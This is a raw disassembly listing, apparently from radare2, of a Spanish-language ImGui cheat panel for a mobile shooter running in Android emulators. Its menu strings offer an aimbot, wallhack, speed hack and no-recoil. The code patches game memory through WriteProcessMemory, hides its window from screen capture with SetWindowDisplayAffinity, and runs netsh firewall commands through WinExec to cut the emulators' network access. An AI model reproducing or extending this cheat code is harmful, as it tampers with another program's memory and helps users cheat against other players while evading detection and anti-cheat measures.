mov rbx, rcx
call fcn.1400122b0
lea rcx, [rdi + 0x4838]
lea rdx, [rbp - 0x80]
call fcn.14001f660
mov rax, qword [rdi + 0x3ed0]
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rax + 0x290]
mov rdx, qword [rdx + 8]
call fcn.140028d40
lea rdx, [rbp + 0x98]
mov dword [rbp + 0x98], 0x42200000
lea rcx, [0x1400da334]
mov dword [rbp + 0x9c], 0x42200000
call fcn.1400383f0
test al, al
je 0x14005f8c8
mov dword [rsp + 0x28], r12d
lea r8, str.https:__discord.gg_cosmopanel
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.1400123e0
call fcn.14000c0d0
mov rcx, qword [0x1402be7b0]
lea rdx, str.Tabs
mov dword [rbp + 0xa0], 0x42700000
mov dword [rbp + 0xa4], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r12b
addss xmm1, xmm13
addss xmm0, xmm9
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007ac0
mov edx, eax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rbp + 0xa0]
lea rcx, str.Tabs
call fcn.14000bd70
xor r8d, r8d
lea rcx, [0x1400e9000]
call fcn.14003b5a0
mov r8d, r12d
lea rcx, [0x1400e9004]
call fcn.14003b5a0
mov r8d, 2
lea rcx, [0x1400e9008]
call fcn.14003b5a0
call fcn.14000c0d0
mov eax, dword [0x1402e42d8]
movss xmm6, dword [0x1400e95c4]
test eax, eax
jne 0x14005fccf
mov rcx, qword [0x1402be7b0]
lea rdx, str.Menu
mov dword [rbp + 0xa8], 0x44480000
mov dword [rbp + 0xac], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r12b
addss xmm1, xmm13
addss xmm0, xmm6
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007ac0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rcx, str.Menu
call fcn.14000bd70
call fcn.1400163d0
lea r9, [0x1402be82c]
lea r8, str.Aplicar_en_Partida
lea rdx, [0x1402be9d0]
lea rcx, str.Aimbot_Neck
call fcn.14003a050
mov byte [0x1402be8f4], al
lea r9, [rbp - 0x80]
lea rax, [0x1400dd47c]
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rax
lea r8, reloc.WLDAP32.dll_Ordinal_50
lea rax, [rbp - 0x18]
mov dword [rbp - 0x18], 0x258
mov edx, 4
mov qword [rsp + 0x20], rax
lea rcx, str.Distance
mov dword [rbp - 0x80], r14d
call fcn.14003dfc0
xor r9d, r9d
lea r8, str.Aplicar_en_Entrenamiento
lea rdx, [0x1402be9ce]
lea rcx, str.Aim_Scope_X2
call fcn.14003a050
mov byte [0x1402be827], al
test al, al
je 0x14005fb30
cmp byte [0x1402be9ce], 0
je 0x14005fb30
lea rdx, [0x14005bd40]
lea rcx, [rbp + 0x448]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x450], 0
jne 0x140061d9c
xor r9d, r9d
lea r8, str.Aplicar_en_Login
lea rdx, [0x1402be824]
lea rcx, str.Scope_AWM
call fcn.14003a050
test al, al
je 0x14005fb82
cmp byte [0x1402be824], r12b
jne 0x14005fb82
lea rdx, [0x14005bf30]
lea rcx, [rbp + 0x488]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x490], 0
jne 0x140061da3
call fcn.140016520
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400160c0
call fcn.1400163d0
xor r9d, r9d
lea r8, str.Aplicar_en_Login
lea rdx, [0x1402be9d1]
lea rcx, str.Quick_Switch
call fcn.14003a050
mov byte [0x1402be8f8], al
test al, al
je 0x14005fbf1
cmp byte [0x1402be9d1], 0
je 0x14005fbf1
lea rdx, [0x14005c100]
lea rcx, [rbp + 0x478]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x480], 0
jne 0x140061daa
xor r9d, r9d
lea r8, str.Aplicar_en_Entrnamiento
lea rdx, [0x1402be7ac]
lea rcx, str.Delay_AWM
call fcn.14003a050
test al, al
je 0x14005fc43
cmp byte [0x1402be7ac], r12b
jne 0x14005fc43
lea rdx, [0x14005c2e0]
lea rcx, [rbp + 0x468]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x470], 0
jne 0x140061db1
xor r9d, r9d
lea r8, str.Aplicar_en_Entrnamiento
lea rdx, [0x1402be9d4]
lea rcx, str.Bug_Camara
call fcn.14003a050
mov byte [0x1402be9e7], al
test al, al
je 0x14005fc98
cmp byte [0x1402be9d4], 0
je 0x14005fc98
lea rcx, [rbp + 0x340]
call fcn.140062a70
lea rcx, [rbp + 0x340]
call fcn.140056110
cmp dword [rbp + 0x348], 0
jne 0x140061db8
lea r9, [0x1402be9f4]
lea r8, str.Mini_teleportation
lea rdx, [0x1402be9d2]
lea rcx, str.Fake_Lag
call fcn.14003a050
mov byte [0x1402be9d6], al
call fcn.140016520
call fcn.14000c0d0
mov eax, dword [0x1402e42d8]
cmp eax, r12d
jne 0x140060359
mov rcx, qword [0x1402be7b0]
lea rdx, str.Visual
mov dword [rbp + 0xb0], 0x44480000
mov dword [rbp + 0xb4], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
subss xmm1, dword [rax + 0x80]
subss xmm0, dword [rax + 0x7c]
mov byte [rax + 0x139], r12b
addss xmm1, xmm13
addss xmm0, xmm6
movss dword [rax + 0xfc], xmm1
movss dword [rax + 0xf8], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007ac0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xb0]
lea rcx, str.Visual
call fcn.14000bd70
call fcn.1400163d0
xor r9d, r9d
lea r8, str.Aplicar_entrenamiento
lea rdx, [0x1402be9cf]
lea rcx, str.Fast_Reload
call fcn.14003a050
mov byte [0x1402be8f7], al
test al, al
je 0x14005fdda
cmp byte [0x1402be9cf], 0
je 0x14005fdda
lea rcx, [rbp + 0x350]
call fcn.140062ae0
lea rcx, [rbp + 0x350]
call fcn.140056110
cmp dword [rbp + 0x358], 0
jne 0x140061dbf
xor r9d, r9d
lea r8, str.Aplicar_entrenamiento
lea rdx, [0x1402be8f9]
lea rcx, str.No_Recoil__Risk_
call fcn.14003a050
mov byte [0x1402be7aa], al
test al, al
je 0x14005fe2f
cmp byte [0x1402be8f9], 0
je 0x14005fe2f
lea rcx, [rbp + 0x360]
call fcn.140062b50
lea rcx, [rbp + 0x360]
call fcn.140056110
cmp dword [rbp + 0x368], 0
jne 0x140061dc6
xor r9d, r9d
lea r8, str.Apply_in_Each_Match
lea rdx, [0x1402be8fe]
lea rcx, str.Menu_chams_v2
call fcn.14003a050
mov byte [0x1402be7ce], al
test al, al
je 0x14005fe69
cmp byte [0x1402be8fe], 0
je 0x14005fe69
call fcn.14005d0b0
call fcn.14005d210
call fcn.140016520
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400160c0
call fcn.1400163d0
lea r9, [0x1402be9e0]
lea r8, str.Aplicar_en_Entrenamiento
lea rdx, [0x1402be7af]
lea rcx, str.Camera_Side
call fcn.14003a050
xor r9d, r9d
lea r8, str.Aplicar_por_Partida
lea rdx, [0x1402be9e5]
lea rcx, str.Activar_Speed
call fcn.14003a050
test al, al
je 0x14005fef3
cmp byte [0x1402be9e5], r12b
jne 0x14005fef3
lea rdx, [0x14005b810]
lea rcx, [rbp + 0x458]
call fcn.1400628b0
mov rcx, rax
call fcn.140056110
cmp dword [rbp + 0x460], 0
jne 0x140061dcd
xorps xmm0, xmm0
lea rax, str.SPEED
mov qword [rbp + 0x280], rax
lea r9, [rbp + 0x280]
lea rax, [0x1400da3d0]
mov qword [rbp + 0x288], rax
lea rax, [0x1400da3d4]
mov qword [rbp + 0x290], rax
lea rax, [0x1400da3d8]
mov qword [rbp + 0x298], rax
lea rax, [0x1400da3dc]
mov qword [rbp + 0x2a0], rax
xor eax, eax
mov qword [rbp + 0x2c8], rax
movups xmmword [rbp + 0x2a8], xmm0
movups xmmword [rbp + 0x2b8], xmm0
call fcn.14003dd30
cmp byte [0x1402be9d7], 0
je 0x1400600ec
cmp byte [0x1402be8f6], 0
jne 0x140060292
mov rax, qword [0x1402dfde8]
mov edi, r14d
mov rdx, qword [0x1402dfde0]
sub rax, rdx
mov byte [0x1402be8f6], r12b
sar rax, 3
mov byte [0x1402be8f5], r12b
mov dword [rbp - 0x30], 0x60000001
mov dword [rbp - 0x2c], 0x3d72cca3
test rax, rax
je 0x140060023
mov rbx, r14
nop word [rax + rax]
mov rax, qword [0x1402bea00]
mov rsi, qword [rbx + rdx]
test rax, rax
jne 0x14005ffe5
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c4c14
mov qword [0x1402bea00], rax
mov dword [rax + 8], r14d
mov rcx, qword [rax]
lea r8, [rbp - 0x30]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1402dfde8]
inc edi
mov rdx, qword [0x1402dfde0]
add rbx, 8
sub rcx, rdx
movsxd rax, edi
sar rcx, 3
cmp rax, rcx
jb 0x14005ffc0
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Speed_Hack_Activado_
lea rcx, [0x1402bd810]
call fcn.140062180
movups xmm6, xmmword [0x1402bd9b8]
mov qword [rbp - 0x50], r14
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x60], xmm0
call fcn.1400c4c14
movups xmm0, xmmword [str.Speed_Hack_Activado_]
mov qword [rbp - 0x60], rax
lea r9, [rsp + 0x60]
mov qword [rbp - 0x50], reloc.WS2_32.dll_sendto
lea r8, [rbp - 0x60]
mov qword [rbp - 0x48], Ordinal_32
lea rdx, [rbp - 0x80]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400e91d0]
mov dword [rax + 0x10], ecx
xorps xmm0, xmm0
mov byte [rax + 0x14], 0
mov eax, dword [0x1400e7928]
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], recv
movsd xmm0, qword [str.Notification]
movsd qword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x78], eax
mov byte [rbp - 0x74], 0
movdqa xmmword [rsp + 0x60], xmm6
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:UsersWindowsSystem32opcionActivada.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov ecx, 0x320
jmp 0x14006027f
cmp byte [0x1402be8f5], 0
mov byte [0x1402be8f6], 0
je 0x140060292
mov rax, qword [0x1402dfde8]
mov edi, r14d
mov rdx, qword [0x1402dfde0]
sub rax, rdx
mov byte [0x1402be8f5], 0
sar rax, 3
mov dword [rbp - 0x28], r12d
mov dword [rbp - 0x24], 0x3d072b02
test rax, rax
je 0x1400601a3
mov rbx, r14
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1402bea00]
mov rsi, qword [rbx + rdx]
test rax, rax
jne 0x140060165
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400c4c14
mov qword [0x1402bea00], rax
mov dword [rax + 8], r14d
mov rcx, qword [rax]
lea r8, [rbp - 0x28]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1402dfde8]
inc edi
mov rdx, qword [0x1402dfde0]
add rbx, 8
sub rcx, rdx
movsxd rax, edi
sar rcx, 3
cmp rax, rcx
jb 0x140060140
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Speed_Hack_Desactivado_
lea rcx, [0x1402bd810]
call fcn.140062180
movups xmm6, xmmword [0x1402bd9b8]
mov qword [rbp - 0x50], r14
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x60], xmm0
call fcn.1400c4c14
movups xmm0, xmmword [str.Speed_Hack_Desactivado_]
mov qword [rbp - 0x60], rax
lea r9, [rsp + 0x60]
mov qword [rbp - 0x50], reloc.WS2_32.dll_socket
lea r8, [rbp - 0x60]
mov qword [rbp - 0x48], Ordinal_32
mov rdx, rax
movups xmmword [rax], xmm0
mov ecx, dword [0x1400e91e8]
mov dword [rax + 0x10], ecx
xorps xmm0, xmm0
movzx ecx, word [0x1400e91ec]
mov word [rax + 0x14], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_33]
mov byte [rdx + 0x16], al
mov byte [rdx + 0x17], 0
lea rdx, [rbp - 0x80]
mov eax, dword [0x1400e7928]
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], recv
movsd xmm0, qword [str.Notification]
movsd qword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x78], eax
mov byte [rbp - 0x74], 0
movdqa xmmword [rsp + 0x60], xmm6
call fcn.140055910
mov edx, 0x20001
lea rcx, str.C:_Users_WindowsSystem32opcionDesactivado.wav
call qword [sym.imp.WINMM.dll_sndPlaySoundA]
mov ecx, 0x190
mov edx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
movss xmm6, dword [0x1400e95c4]
lea r9, [0x1402be828]
lea r8, str.Aplicar_en_Entrenamiento
lea rdx, [0x1402be7ae]
lea rcx, str.Wallhack
call fcn.14003a050
xor r9d, r9d
lea r8, str.Aplicar_Loby
lea rdx, [0x1402be8fd]
lea rcx, str.Bypass_Wall_Hack
call fcn.14003a050
mov byte [0x1402be7ad], al
test al, al
je 0x140060349
cmp byte [0x1402be8fd], 0
je 0x140060349
mov rcx, r12
call fcn.1400c4c14
lea rcx, [rbp + 8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140064240]
xor ecx, ecx
mov dword [rsp + 0x20], r14d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140061dde
cmp dword [rbp + 8], 0
je 0x140061dd4
movaps xmm0, xmmword [rbp]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140061dd4
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
call fcn.140016520
call fcn.14000c0d0
mov eax, dword [0x1402e42d8]
cmp eax, 2
jne 0x1400618d0
mov rcx, qword [0x1402be7b0]
lea rdx, str.Settings
mov dword [rbp + 0xb8], 0x44480000
mov dword [rbp + 0xbc], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], r12b
addss xmm1, xmm6
addss xmm0, xmm13
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007ac0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0xb8]
lea rcx, str.Settings
call fcn.14000bd70
call fcn.1400163d0
xor r9d, r9d
lea r8, str.Ocultar_de_Transmision
lea rdx, [0x1402be8ff]
lea rcx, str.Streamer_Mode
call fcn.14003a050
mov byte [0x1402be826], al
test al, al
je 0x140060596
cmp byte [0x1402be8ff], 0
lea rcx, [rbp - 0x60]
movups xmm6, xmmword [0x1402bd9b8]
je 0x1400604f4
lea rdx, str.Modo_Streamer_Activado
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140048520
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp + 0x10], r14
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0x10]
mov r8d, r12d
lea r9, [0x1400c9f20]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400c9f30]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140060590
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp + 0x10]
mov rdx, rax
call rbx
mov rcx, qword [rbp + 0x10]
jmp 0x14006058a
lea rdx, str.Modo_Streamer_Desactivado
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140048520
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140055910
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rbp - 0x20], r14
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp - 0x20]
mov r8d, r12d
lea r9, [0x1400c9f20]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x1400c9f30]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140060590
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rbp - 0x20]
mov rdx, rax
call rbx
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r9d, r9d
lea r8, str.Activar_en_Login
lea rdx, [0x1402be8fc]
lea rcx, str.Block_Red
call fcn.14003a050
mov byte [0x1402be7cd], al
test al, al
je 0x1400607ad
xor edx, edx
cmp byte [0x1402be8fc], dl
je 0x140060702
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Internet_Desactivado_
lea rcx, [0x1402bd810]
call fcn.140062000
movups xmm6, xmmword [0x1402bd9b8]
mov qword [rbp - 0x50], r14
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x60], xmm0
call fcn.1400c4c14
movups xmm0, xmmword [str.Internet_Desactivado_]
mov qword [rbp - 0x60], rax
lea rdx, str.Notification
mov qword [rbp - 0x50], reloc.WS2_32.dll_setsockopt
mov qword [rbp - 0x48], Ordinal_32
movups xmmword [rax], xmm0
mov ecx, dword [0x1400e92c0]
mov dword [rax + 0x10], ecx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_33]
mov byte [rax + 0x14], cl
lea rcx, [rbp - 0x80]
mov byte [rax + 0x15], 0
call fcn.140048520
lea r8, [rbp - 0x60]
jmp 0x14006079a
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Internet_Activado_
lea rcx, [0x1402bd810]
call fcn.140062000
movups xmm6, xmmword [0x1402bd9b8]
lea rdx, str.Internet_Activado_
lea rcx, [rbp - 0x60]
call fcn.140048520
lea rdx, str.Notification
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.140048520
mov r8, rbx
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov rdx, rax
call fcn.140055910
lea r9, [0x1400d8a3a]
mov r8d, 0x200012a
lea rdx, [0x1402bd9b8]
lea rcx, str.Particle_Color
call fcn.140043f00
call fcn.140016520
movaps xmm1, xmm14
movaps xmm0, xmm12
call fcn.1400160c0
call fcn.1400163d0
xor r9d, r9d
lea r8, str.Aplicar_Login
lea rdx, [0x1402be9d3]
lea rcx, str.Delet_Acount_Inv
call fcn.14003a050
mov byte [0x1402be9e6], al
test al, al
je 0x140060839
cmp byte [0x1402be9d3], 0
je 0x140060839
lea rcx, [rbp + 0x370]
call fcn.140062bc0
lea rcx, [rbp + 0x370]
call fcn.140056110
cmp dword [rbp + 0x378], 0
jne 0x140061dee
xor r9d, r9d
lea r8, str.Aplicar_Loby
lea rdx, [0x1402be8fb]
lea rcx, str.Modo_Noche
call fcn.14003a050
mov byte [0x1402be7ad], al
test al, al
je 0x140060885
cmp byte [0x1402be8fb], 0
je 0x140060885
lea rcx, [rbp + 0x50]
call fcn.140062c30
lea rcx, [rbp + 0x50]
call fcn.140056110
cmp dword [rbp + 0x58], 0
jne 0x140061df5
call fcn.140016520
call fcn.14000c0d0
jmp 0x1400618d0
movaps xmm7, xmm11
lea rcx, [0x1402bd9c8]
addss xmm7, dword [0x1400e9634]
movaps xmm6, xmm10
addss xmm6, dword [0x1400e9620]
movss dword [rbp + 0xc0], xmm7
movss dword [rbp + 0xc4], xmm6
call fcn.140004340
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rbp - 0x80]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0xc0]
mov rcx, r15
call fcn.14002b620
lea rcx, [0x1402bd9c8]
movss dword [rbp + 0xc8], xmm7
movss dword [rbp + 0xcc], xmm6
call fcn.140004340
mov r9d, eax
mov dword [rsp + 0x28], 0x50
lea rdx, [rbp - 0x80]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0xc8]
mov rcx, r15
call fcn.14002b620
movss xmm0, dword [0x1402e019c]
ucomiss xmm0, xmm12
jp 0x140060956
jne 0x140060956
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x1402e019c], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x1402e019c]
xorps xmm1, xmm1
addss xmm0, dword [0x1400e956c]
mov eax, eax
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x140060a1c
cmp byte [reloc.WS2_32.dll_accept], 0
movss xmm1, dword [0x1402e0198]
je 0x1400609d5
movss xmm6, dword [0x1400e94cc]
comiss xmm6, xmm1
jbe 0x1400609c7
call fcn.140008540
movss xmm1, dword [0x1402e0198]
movaps xmm0, xmm8
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm13
addss xmm1, xmm0
movss dword [0x1402e0198], xmm1
comiss xmm1, xmm6
jb 0x140060a12
mov byte [reloc.WS2_32.dll_accept], 0
jmp 0x140060a12
comiss xmm1, xmm12
jbe 0x140060a05
call fcn.140008540
movss xmm1, dword [0x1402e0198]
movaps xmm0, xmm8
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm13
subss xmm1, xmm0
movss dword [0x1402e0198], xmm1
comiss xmm12, xmm1
jb 0x140060a12
mov byte [reloc.WS2_32.dll_accept], r12b
mov dword [0x1402e019c], 0
mov rcx, qword [0x1402f5c98]
mov rdi, qword [0x1402be7b0]
mov rbx, rcx
mov qword [rbp - 0x80], rcx
test rcx, rcx
jne 0x140060a70
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x140060a69
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x140060a62
mov r8d, 0x6fd
lea rdx, str.D:PANELES_CSENSI_XEONimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rbp - 0x80], rcx
mov rbx, rcx
call fcn.1400122b0
lea rcx, [rdi + 0x4838]
lea rdx, [rbp - 0x80]
call fcn.14001f660
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ed0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x290]
call fcn.140028d40
movss xmm0, dword [0x1402e0198]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movss dword [rbp + 0x19c], xmm0
mov dword [rbp + 0x190], 0x437f0000
mov dword [rbp + 0x194], 0x437f0000
mov dword [rbp + 0x198], 0x437f0000
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x140060aec
cmp byte [0x1402f4a00], 0
sete byte [0x1402f4a00]
cmp qword [0x1402be7b0], 0
jne 0x140060b10
mov r8d, 0xb5b
lea rdx, str.D:PANELES_CSENSI_XEONimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14005b8d0
